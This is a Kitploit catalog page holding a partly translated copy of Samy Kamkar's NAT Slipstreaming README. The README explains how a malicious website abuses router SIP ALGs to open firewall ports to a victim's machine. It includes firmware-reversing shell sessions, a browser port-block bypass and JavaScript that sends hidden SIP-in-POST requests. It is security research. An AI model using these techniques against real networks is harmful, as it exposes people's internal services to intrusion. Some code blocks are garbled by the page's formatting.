Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
slipstream — NAT Slipstreaming позволяет злоумышленнику удаленно получать доступ к любым службам TCP/UDP, привязанным к машине жертвы, обходя NAT/межсетевой экран жертвы, просто когда кто-либо в сети жертвы посещает веб-сайт. | Kitploit
Инструменты/GitHubGitHub/samyk/slipstream
РазведкаЭксплуатацияВеб-безопасностьСетевая безопасностьТестирование на Проникновение
GitHubsamyk/slipstream

slipstream

NAT Slipstreaming позволяет злоумышленнику удаленно получать доступ к любым службам TCP/UDP, привязанным к машине жертвы, обходя NAT/межсетевой экран жертвы, просто когда кто-либо в сети жертвы посещает веб-сайт.

Репозиторий
2.0k21423 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

NAT Slipstreaming

NAT Slipstreaming позволяет атакующему удаленно получить доступ к любому TCP/UDP сервису, привязанному к любой системе за NAT жертвы, обходя NAT/файрвол жертвы (удаленное произвольное открытие портов файрвола) — достаточно того, чтобы жертва посетила веб-сайт.

v1 разработал: @SamyKamkar // https://samy.pl
v2 разработали: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky из Armis).

Читайте отличную техническую статью Бена и Грегори о v2 здесь, где подробно описаны их обновления v2 с множеством дополнительных деталей.

v1 выпущена: 31 октября 👻, 2020
v2 выпущена: 26 января 2021

Исходный код: https://github.com/samyk/slipstream

Архитектура NAT Slipstreaming анимированная версия здесь создана с помощью моего форка draw.io, позволяющего экспортировать контекст потока граней и управление анимацией

Содержание

  • Краткий обзор
  • Подробности
    • Трансляция сетевых адресов (NAT)
      • Отслеживание соединений
      • Шлюз прикладного уровня
    • Исследование маршрутизатора / Дамп прошивки
    • Обратная разработка прошивки
      • Поиск интересных файлов
      • Изучение интересных функций
      • Порты / Сервисы для исследования
      • Обратная разработка объекта ядра
    • Исследование отслеживания соединений / шлюза прикладного уровня
      • Linux Netfilter
    • Контроль границ пакетов / фрагментация
    • TCP-атака по времени / Обнаружение внутренней подсети и IP
      • Атака по времени
    • Путаница протоколов в браузере
      • Изменение пакетов в реальном времени в браузере
  • Другие находки
  • Загрузка
  • Контакты

Краткий обзор

NAT Slipstreaming использует браузер пользователя в сочетании с механизмом отслеживания соединений шлюза прикладного уровня (ALG), встроенным в NAT, маршрутизаторы и файрволы. Атака объединяет: извлечение внутреннего IP с помощью атаки по времени или WebRTC, автоматическое обнаружение MTU и фрагментации IP, манипуляцию размером TCP-пакетов, неправильное использование аутентификации TURN, точный контроль границ пакетов и путаницу протоколов через злоупотребление браузером. Поскольку именно NAT или файрвол открывает порт назначения, это обходит любые ограничения портов на уровне браузера.

Эта атака использует произвольный контроль над частью данных некоторых TCP- и UDP-пакетов без включения HTTP или других заголовков; атака применяет новую технику инъекции пакетов во всех основных современных (и старых) браузерах и является модернизированной версией моей оригинальной техники NAT Pinning от 2010 года (представлена на DEFCON 18 и Black Hat 2010). Кроме того, включены новые методы обнаружения локального IP-адреса.

Для этой атаки требуется, чтобы NAT/файрвол поддерживал ALG (шлюзы прикладного уровня), которые обязательны для протоколов, использующих несколько портов (канал управления + канал данных), таких как SIP и H323 (VoIP-протоколы), FTP, IRC DCC и т.д.

На высоком уровне NAT Slipstreaming работает следующим образом:

  • жертва заходит на вредоносный сайт (или сайт с вредоносной рекламой)
  • сначала браузер должен извлечь внутренний IP жертвы и отправить его на сервер
    • попытка извлечь внутренний IP через канал данных WebRTC по HTTPS
      • некоторые браузеры (Chrome) раскрывают локальный IP через WebRTC только по HTTPS, но некоторые наши атаки требуют HTTP, поэтому мы сначала перенаправляем на HTTPS-версию атакующего ПО, чтобы извлечь локальный IP
      • затем мы перенаправляем на HTTP-версию с включенным локальным IP в URL, если смогли его получить, чтобы обойти другие механизмы защиты от межсайтового взаимодействия (представленный адрес .local mDNS/Bonjour не будет полезен для атаки)
    • если внутренний IP не раскрыт через WebRTC (Safari) или WebRTC отсутствует (<= IE11), выполняется веб-атака по времени на основе TCP
      • скрытые теги img на все распространенные шлюзы (например 192.168.0.1) загружаются в фоне
      • к тегам img прикрепляются события onerror/onsuccess
      • если от шлюза возвращается TCP RST (или SYN + HTTP-ответ), мы обнаружили валидную подсеть
      • повторная атака по времени на все IP-адреса в обнаруженных подсетях (/24), измерение времени до срабатывания onerror/onsuccess
      • самый быстрый ответ, вероятно, является внутренним IP, хотя все ответы считаются кандидатами на внутренний IP жертвы и атакуются
  • большой TCP-маяк отправляется через скрытую форму и автоматический HTTP POST на «HTTP-сервер» атакующего, привязанный к нестандартному порту, чтобы принудительно осуществить сегментацию TCP и обнаружение максимального размера MTU стека IP жертвы
    • TCP-сервер атакующего отправляет опцию TCP Maximum Segment Size для управления размером исходящих пакетов жертвы (), что позволяет контролировать размер TCP-пакетов браузера

успешный пакет, разбитый на валидный SIP-пакет

Подробности

Трансляция сетевых адресов (NAT)

Мы используем NAT (трансляцию сетевых адресов) по нескольким причинам. Самая полезная функция NAT — это возможность разделять один публичный IP-адрес между несколькими системами. Это делается путём создания локальной сети, предоставления локальных IP-адресов всем подключённым машинам, и когда одна из этих систем обращается в Интернет, она перезаписывает исходящие пакеты, используя публичный IP, чтобы ответы возвращались на NAT, и наоборот, перезаписывая целевой IP на IP конкретного клиента.

Именно NAT должен различать соединения с одними и теми же адресами/портами (google.com:443) от внутренних хостов, поскольку в конечном итоге их исходящий порт, целевой IP и исходный IP будут одинаковыми. Если два разных внутренних узла попытаются подключиться с одного и того же исходного порта, современные NAT изменят один из исходных портов (некоторые сети делают это для всех исходных портов TCP/UDP).

NAT

Отслеживание соединений

Из Wikipedia (Wikiwand):``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.

root@kitploit:~
Если машина за вашим NAT отправляет пакет наружу, и ваш маршрутизатор ожидает ответа от удаленного хоста, он отслеживает информацию, а именно исходный и целевой порты, исходный и целевой IP-адреса, а также ваш внутренний IP, а затем отправляет любые пакеты, соответствующие этим данным, обратно на ваш внутренний IP.

Если другой хост в вашей локальной сети попытается установить то же самое соединение с теми же исходными и целевыми портами и IP-адресами, ваш NAT не сможет различить их (исходные IP-адреса в вашей локальной сети различаются, но на стороне WAN они переписываются в один и тот же публичный IP), поэтому он изменяет исходный порт, но возвращает его обратно при отправке вам.

### Шлюз прикладного уровня

ALG позволяют NAT отслеживать многопортовый протокол, такой как FTP, который выходит из вашей системы на FTP-сервер, а затем, когда вы запрашиваете отправку файла на ваш внутренний IP через определенный порт, ALG может перезаписать пакет, включив в него ваш публичный IP, а затем перенаправить соединение с FTP-сервера обратно вам. Если бы он не перезаписал ваш IP, FTP-сервер попытался бы подключиться к вам по вашему внутреннему IP (или не пытался бы вообще, если ожидает, что исходный IP совпадает с IP сигнального соединения).

Из [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level 
gateway consists of a security component that augments a 
firewall or NAT employed in a computer network. It allows 
customized NAT traversal filters to be plugged into the 
gateway to support address and port translation for certain 
application layer "control/data" protocols such as FTP, 
BitTorrent, SIP, RTSP, file transfer in IM applications, etc. 
In order for these protocols to work through NAT or a 
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the 
NAT has to monitor the control traffic and open up port 
mappings (firewall pinhole) dynamically as required. 
Legitimate application data can thus be passed through the 
security checks of the firewall or NAT that would have 
otherwise restricted the traffic for not meeting its limited 
filter criteria.

Исследование маршрутизаторов / Дамп прошивки

Сначала мне хотелось бы посмотреть, как обычные шлюзы на самом деле обрабатывают пакеты и многопортовые протоколы, такие как FTP, SIP и т.д. Для этого нам нужно будет провести реверс-инжиниринг прошивки распространенных маршрутизаторов. Мы могли бы дампить флеш-память с физических роутеров, однако если мы сможем получить незашифрованные прошивки от производителей, мы сможем исследовать больше моделей маршрутизаторов и гораздо быстрее.

Начнем с распространенного роутера, Netgear Nighthawk R7000. Быстрый поиск помогает нам найти статью Netgear с последней прошивкой. После загрузки прошивки и распаковки мы обнаруживаем файл размером 30MB с именем R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’

R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s

2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]

tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

root@kitploit:~
![R7000-V1.0.9.64_10.2.64.chk](https://assets.kitploit.com/production/public/readmes/3946/ff37a83fee71d670f7d0298b6c22182a4e55d0e3ec949d82256b532820438723.png)

Команда `file` не обнаруживает никакой [информации о магических числах](https://www.wikiwand.com/en/Magic_number_(programming)), поэтому мы можем использовать [`binwalk`](https://github.com/ReFirmLabs/binwalk) для сканирования файла на наличие вложенных данных.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098       0x21E42A        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

binwalk R7000-V1.0.9.64_10.2.64.chk

Я использую macOS, и binwalk из коробки зависит от некоторых Linux-приложений, из-за чего binwalk -e (который извлекает файлы) завершается ошибкой, поэтому я извлекаю вручную (и я <3 perl golf).```sh tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs

root@kitploit:~
Или используйте [`inout`](https://github.com/samyk/samytools/blob/master/inout), например `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.

Можно использовать `dd`, но вам понадобится большой `bs` (размер блока), чтобы вывод был быстрым, например 1024, однако атрибут `skip` (чтобы указать начать с местоположения squashfs blob) будет учитывать размер блока, а 2221098 неочевидно делится на что-то быстро в уме, кроме 2... теперь мне стало любопытно.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)

real	1m18.385s
user	0m12.553s
sys  	1m4.451s

Теперь давайте распакуем файловую систему squash. Я создал форк форка squashfs-tools, который работает на macOS и имеет поддержку lzo. Возможно, вам также потребуется установить xz и lzo. В качестве альтернативы вы можете использовать sasquatch в Linux.```sh tigerblood:~c/ng$ sudo port install xz lzo ... tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..

root@kitploit:~
И наконец мы можем распаковать squash fs.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write

squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...

tigerblood:~c/ng$ cd squashfs-root && ls
bin   data  dev   etc   lib   media mnt   opt   proc  sbin  share sys   tmp   usr   var   www

We now have the raw OS to explore!

Reverse Engineering Firmware

Finding Interesting Files

Now let's see if we can find any files relevant to FTP as it was a heavily used protocol so ALG support will be rampant across routers. I use my g tool which is just a convenient wrapper around egrep.```sh tigerblood:~c/ng/squashfs-root$ find . | g ftp ./usr/bin/tftp ./usr/sbin/bftpd ./usr/sbin/ftp ./usr/sbin/ftpc ./usr/etc/sftp-ssh.service

root@kitploit:~
Ничего интересного, поэтому давайте `g` для бинарных файлов, чьё содержимое совпадает с /ftp/, игнорируя некоторые файлы, которые нас не интересуют.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0

g по умолчанию рекурсивно сканирует текущую рабочую директорию. -l предназначен для вывода только имён файлов (так как они, скорее всего, будут бинарными), -a для сканирования бинарных файлов, ftp для текста для сопоставления, и -v '\.(html?|js|gif)$|www/|bin/' для игнорирования веб-файлов и исполняемых файлов (находящихся в (s)bin/).

Любые файлы lib/lib*.{a,so}{.*,} (в формате bash) не представляют интереса, поэтому давайте просканируем снова с меньшим количеством:```sh tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)' lib/modules/tdts.ko lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko opt/xagent/certs/ca-bundle-mega.crt usr/etc/sftp-ssh.service usr/share/avahi/service-types

root@kitploit:~
### Исследование потенциально полезных функций

Итак, два файла представляют интерес -- `lib/modules/tdts.ko` может быть связан, а `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko`, вероятно, не связан, но звучит интересно! Возможно, исследую его позже.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule

Отлично! Kernel-объект (.ko) с ftp-функциями и со словами вроде "port", вероятно, связан с FTP ALG. В FTP RFC 959 объясняется значение команды PORT:``` DATA PORT (PORT)

The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.

root@kitploit:~
### Порты / службы для исследования

Хотя мы нашли некоторые функции FTP, нас больше интересуют порты, которые можно использовать. Современные браузеры блокируют исходящие HTTP(S)-соединения к ряду [ограниченных портов](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90), включая FTP, поэтому злоупотребление FTP ALG, скорее всего, не сработает.

В 2010 году, когда я [впервые продемонстрировал NAT Pinning](https://samy.pl/natpin/), я использовал порт 6667 (IRC) через сообщения DCC CHAT/FILE. Вскоре разработчики браузеров заблокировали порт 6667... хотя некоторые использовали uint32 (32-битное целое без знака) для хранения порта, проверяли, заблокирован ли порт, и, если нет, подключались. Чтобы обойти это, важно отметить, что порты TCP имеют длину 16 бит, поэтому если добавить 2**16 (65536) к выбранному «ограниченному» порту, в данном случае 65536+6667=72203, браузер сохранит 72203, пройдет проверку порта (72203 != 6667), а затем отправится в стек TCP, где будет усечен до 16 бит, то есть до нужного нам ограниченного порта!

Мой простой [`калькулятор систем счисления, 3`](https://github.com/samyk/samytools/blob/master/3) показывает это (db = dec -> bin):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011

Мы можем лучше рассмотреть это с помощью моей утилиты diffbits — простого инструмента для просмотра сходств и различий между битовыми строками, а также между несколькими группами битовых строк, полезного при реверс-инжиниринге проприетарных бинарных протоколов.

diffbits

Реверс-инжиниринг объекта ядра

Откройте дизассемблер по вашему выбору. Я использовал Ghidra от наших друзей из NSA, так как он бесплатный и с открытым исходным кодом.

Некоторые функции, которые мы видели в tdts.ko через strings, были ftp_decode и ftp_decoder, так что возможно, другие ALG будут иметь функцию _decode. Давайте посмотрим...

Ghidra _decode

Хорошо, куча функций _decode... прокручивая вниз, интересной оказывается sip_decode.

Ghidra tdts.ko

Проверяя ограниченные порты браузера, мы видим, что порт 5060 (стандартный порт SIP) не ограничен в Chrome :)

Попытка отправить SIP-пакет в HTTP POST

SIP работает поверх TCP/UDP 5060, но медиаданные, такие как RTP (аудио), передаются на альтернативных портах, которые генерируются на лету. При отправке запроса на SIP-вызов ваш SIP-клиент выбирает случайный порт, открывает его и включает в заголовок SIP. Ваш NAT также должен увидеть его и открыть, при условии, что SIP ALG включён (а на большинстве роутеров он включён по умолчанию).

Предполагая, что NAT читают SIP-пакеты построчно (SIP, как и HTTP, основан на строках и не является бинарным протоколом), возможно, он проигнорирует HTTP-заголовок и, добравшись до данных POST, прочитает REGISTER и решит, что это SIP-пакет. Этот подход сработал в нашей версии 2010 года для IRC DCC: NAT игнорировал HTTP-заголовок и просто парсил команду IRC DCC.

Забавно, что это также позволило нам заставить пользователей, посещающих наш сайт, подключаться к легитимному IRC-серверу, входить в канал и отправлять сообщение с их IP без их ведома! :P Я демонстрировал эту технику для отправки электронной почты на почтовые серверы с IP-адресами клиентов до того, как порт 25 был заблокирован браузерами и до того, как записи SPF стали обычным делом... безумие.

Теперь, в быстром тесте, отправка SIP-пакета REGISTER через порт 5060 внутри HTTP POST, похоже, не работает... возможно, мы что-то упускаем в пакете.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'

// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe

// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded

var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()

root@kitploit:~
Если мы перехватываем трафик, мы видим (разобрано с помощью [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"

REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>


------WebKitFormBoundaryhcoAd2iSAx3TJA7A--

Однако это не открывает порт, и IP не переписывается, как можно было бы ожидать (подробнее об этом позже), так что мы что-то упускаем.

Продолжаем обратную разработку объектного файла ядра

Давайте копать дальше в объектном файле ядра. В дизассемблере мы видим тег "SIP/2.0" из SIP-пакета, так что, вероятно, здесь происходит разбор (что и подразумевает "decode").

Ghidra sip_decode

А, вот почему у нас не получается. Похоже, он выполняет strncasecmp для INVITE (аналогичный разбор для REGISTER) — сравнивает (без учёта регистра, что интересно, так как SIP INVITEs пишутся в верхнем регистре) слово "INVITE" в начале пакета и branches, если not equal (ARM-инструкция bne) относительно 0, то есть если слова совпадают, лексикографический порядок будет 0, и мы перейдём к ct_sip_get_header, что звучит забавно, а иначе, похоже, происходит выход.

Это и есть проблема... хотя мы можем использовать веб-браузер для создания исходящих сокетов (TCP через HTTP(S), UDP через TURN с WebRTC), у нас недостаточно контроля над браузером, чтобы начать передаваемую часть TCP-пакета со слова "INVITE", которое ожидает этот модуль. В версии 2010 года для IRC IRC ALG просто просматривал строку за строкой, игнорируя все заголовки HTTP, а затем использовал символы новой строки в данных POST для отправки правильного "IRC DCC". Однако этот SIP ALG гораздо строже, и управлять началом запроса невозможно. Если используется TLS, то пакет начинается с зашифрованного заголовка. Если используется HTTP, то пакет начинается с HTTP-метода (GET, POST и т.д.). Можем ли мы использовать это как-то иначе?

Исследование отслеживания соединений / шлюза прикладного уровня

Netfilter в Linux

Чтобы лучше понять отслеживание соединений и шлюзы прикладного уровня, мы можем посмотреть, как они работают в netfilter — сетевом стеке Linux. Я создал диаграмму наиболее распространённых ALG и того, как они ведут себя, основываясь на анализе исходников Linux.

Linux ALG

Из этой диаграммы наиболее интересными (которые Chrome не блокирует) являются sane (резервное копирование), sip (voip), pptp (vpn) и h323 (voip). Мы выбираем SIP, так как это один из наиболее распространённых протоколов, и мы уже видели его в прошивках некоторых роутеров.

В Linux есть файлы nf_conntrack_*.c для обработки отслеживания соединений по каждому протоколу и nf_nat_*.c для модификации пакетов (изменения).

Мы быстро рассмотрим модуль отслеживания соединений SIP

  • module_init(nf_conntrack_sip_init) инициализирует этот трекер соединений, вызывая nf_conntrack_sip_init
  • nf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) мы ожидаем сигнализацию по IPv4 AF_INET TCP IPPROTO_TCP порту 5060 SIP_PORT... это происходит для UDP, TCP, IPv4 и IPv6
  • sip_help_tcp(...) вызывается при поступлении подходящего TCP SIP-пакета
    • process_sip_msg(...) если это похоже на потенциальный SIP-пакет
      • если это запрос

Управление границами пакетов

Насколько нам известно, мы не можем заставить браузер отправлять исходящее TCP-соединение с произвольным трафиком, а для создания TCP/UDP-пакета, начинающегося с SIP-метода, такого как REGISTER или INVITE, это необходимо.

Flash когда-то позволял использовать исходящие сокеты, но в формате, который мы не могли полностью контролировать. Java требует разрешения. WebSockets — это всё ещё HTTP. TLS зашифрован. WebRTC (RFC 7742) зашифрован. STUN (RFC 3489) и TURN (RFC 5766) имеют фиксированные форматы, а TURNS (RFC 7065) зашифрован.

TCP-сегментация

На высоком уровне мы не можем контролировать начало TCP-пакета, но что если мы отправим слишком большой пакет? Должен быть максимальный размер пакета... при превышении которого пакет должен быть фрагментирован на несколько пакетов. Если мы сможем переполнить размер TCP-пакета и точно контролировать часть данных, сможем ли мы вызвать фрагментацию пакета и поместить наши данные в самое начало следующего переполненного пакета?

Итак, нам нужно знать, сколько данных отправит браузер. Это будет различаться в зависимости от браузера и даже от пользователя, так как они могут отправлять разные заголовки HTTP. HTTPS не подойдёт, так как большая часть содержимого зашифрована, тогда как HTTP POST позволяет нам контролировать большую часть заголовка.

Чтобы получить общий размер пакета, мы отправляем большой (6000 байт) HTTP POST с идентификатором и данными-заполнителем через скрытую веб-форму на наш http://our.attack.server:5060/pktsize. На сервере атаки мы запускаем сниффер пакетов, который ищет границы нашего пакета, чтобы определить размер MTU (максимального блока передачи), размер IP-заголовка, возможные IP-опции, размер TCP-заголовка, возможные TCP-опции, размер данных пакета и какую часть пакета мы контролируем.

Мы также запускаем пользовательский сервер, который слушает TCP-порт 5060 и отвечает HTTP-трафиком, чтобы браузер не заметил ничего подозрительного (сервер с некорректным ответом вызовет ошибки в консоли, а неправильно отвечающий сервер будет держать индикатор загрузки активным).

POST большой формы для измерения MTU и размера TCP-данных

Мы также пытаемся контролировать размер данных в TCP-пакете, отправляя опцию TCP Maximum Segment Size (mss) во время начального SYN-ответа, чтобы манипулировать исходящими размерами пакетов жертвы (RFC 793 разд. 3.1). Это заставляет машину жертвы ограничивать размер TCP-пакетов.

Пользовательский Maximum Segment Size (img/sniff1.png)

В Linux это можно сделать, добавив advmss <size> к ip route. Мы будем использовать 1500.```sh ip route replace default via [gateway] dev eth0 advmss 1500

root@kitploit:~
Как только мы получаем пакеты, мы отправляем данные о размере обратно клиенту-жертве через отдельный POST-запрос, который содержит ID жертвы, чтобы мы могли сопоставить его с исходным запросом от жертвы. На этом этапе клиент имеет хорошее представление о том, как дополнять пакеты, чтобы произвольные данные попадали в определённое место внутри TCP-пакета.

### IP-фрагментация с UDP и TURN

Некоторые NAT разрешают доступ только к UDP-портам, если изначально SIP-соединение было UDP, поэтому в этом случае мы используем TURN. TURN — это протокол, поддерживающий ретрансляцию для одноранговой связи, такой как SIP и WebRTC. TURN работает через UDP, а TURNS (TURN+TLS) — через TCP. Современные браузеры поддерживают TURN для WebRTC на случай, если они не могут установить прямое одноранговое соединение друг с другом для обмена медиа.

TURN позволяет аутентификацию по имени пользователя и паролю; имя пользователя передаётся в открытом виде. Интересно, что имя пользователя не ограничено ни по размеру, ни по символам, поэтому мы можем использовать это для выполнения того же типа переполнения пакета.

Поскольку TURN работает через UDP, сам IP-пакет будет фрагментирован при превышении размера MTU (UDP не поддерживает сегментацию). Второй пакет будет содержать под нашим контролем не только часть данных, но и UDP-заголовок! Это не важно для нашей атаки, но интересно и определённо может породить альтернативные атаки. В конечном счёте мы можем выполнить ту же атаку через UDP, выравнивая границу нашего пакета на основе рассчитанного размера MTU, а не MSS, делая наш SIP-пакет UDP живущим на границе второго пакета (с поддельным UDP-заголовком в начале), что позволяет нам перенаправлять UDP-порты обратно к жертве.

## Атака по времени TCP / обнаружение внутренней подсети и IP-адреса

О, это всё ещё не сработает! Чтобы ALG обработал пакет как легитимный SIP-пакет, IP-адрес, на который вы запрашиваете возврат данных (в строке SIP [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13)), должен быть внутренним IP-адресом (жертвы), с которого пришёл SIP-пакет, а мы его не знаем. Только публичный IP-адрес маршрутизатора передаётся на наш сервер (поскольку NAT перезаписывает исходный IP-адрес при выходе на публичную сторону).

Мы видим эту проверку в `nf_conntrack_sip.c` из Linux в функции [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260):

![Проверка IP-адреса Via в SIP REGISTER](https://assets.kitploit.com/production/public/readmes/3946/46b6a320ab0e8972a37c8e057cebb36d5fb32905ef2894ea6a06bfe508e7db59.png)

В [2010 году](https://samy.pl/natpin/) мы использовали [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect), который позволял выполнять Java-код при некоторых условиях из JavaScript, извлекая локальный IP-адрес пользователя. Это быстро устарело.

В некоторых браузерах (Chrome, Firefox) мы можем использовать [WebRTC](https://www.w3.org/TR/webrtc/), чтобы получить внутренний IP-адрес жертвы через [ICE](https://tools.ietf.org/html/rfc5245) (который использует STUN/TURN/TURNS). Это протоколы, помогающие одноранговым узлам за NAT узнать информацию о самих себе. По иронии судьбы, в «запросе» ICE не нужно использовать сервер, так как браузер уже знает свой внутренний IP, а удалённый STUN/TURN-сервер всё равно не узнал бы его, если бы клиент не отправил его изначально. Проблема в том, что не все браузеры предоставляют такой механизм.

На сегодняшний день использование WebRTC для получения локального IP-адреса в Chrome (а не `.local` mDNS/Bonjour-адреса) требует HTTPS, но для остальных атак необходим HTTP, поэтому сначала мы проверяем, работаем ли мы по HTTP, и если нет, перенаправляем на HTTPS. Затем мы пытаемся использовать WebRTC для извлечения локального IP-адреса. В любом случае мы перенаправляем обратно на HTTP, добавляя IP-адреса к URL для обхода ограничений cross-origin с помощью других методов связи.

### Атака по времени

При использовании Safari, IE <= 11 или других браузеров, которые не поддерживают WebRTC или намеренно не раскрывают внутренний IP (Safari), мы можем применить веб-атаку по времени, чтобы узнать внутренний IP-адрес жертвы.

